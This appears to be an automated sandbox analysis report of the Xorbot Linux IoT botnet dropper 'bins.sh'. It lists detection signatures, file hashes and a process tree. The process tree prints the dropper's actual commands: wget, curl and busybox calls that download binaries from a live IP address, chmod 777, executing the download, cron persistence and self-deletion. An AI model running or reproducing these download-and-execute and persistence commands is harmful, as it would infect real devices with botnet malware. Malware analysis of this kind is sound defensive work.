Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

1

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/02/2025, 02:57

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250211-dfphyawkf1
  • SHA256 12734f2cb1b19aaa69d57283c4192a4b63578e42eadeadce2890068dc7ae4248
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2090) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:647
      • /usr/bin/wget
        wget http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Writes file to tmp directory
        PID:650
      • /usr/bin/curl
        curl -O http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:714
      • /bin/busybox
        /bin/busybox wget http://194.85.251.8/bins/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Writes file to tmp directory
        PID:721
      • /bin/chmod
        chmod 777 qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • File and Directory Permissions Modification
        PID:739
      • /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        ./qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:740
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:742
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:744
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:746
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:747
            • /bin/rm
              rm qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://194.85.251.8/bins/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                2⤵
                • Writes file to tmp directory
                PID:764

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                  • Path /tmp/CwEl837RDeJB9z58P3i8tiaPJ5nlt8kX3H
                  • Size 73KB
                  • SHA256 d3122aa7beec409c61a0ca3c631483d124a28e0f27760c920c6a221c8cbb632f
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                  • Path /tmp/qpy64Z6BszY93rPFQC5GPFQvoR0I19KRYN
                  • Size 119KB
                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                  • MD5 SHA1 SHA512 SSDEEP
                  Submit Download

                  tmp.gLNcab
                  • Path /var/spool/cron/crontabs/tmp.gLNcab
                  • Size 210B
                  • SHA256 4ff5d73a14bfda0f8b6fd1277c510d6a42c397e65807637fdc9fe6dd6db1e114
                  • MD5 SHA1 SHA512
                  Submit Download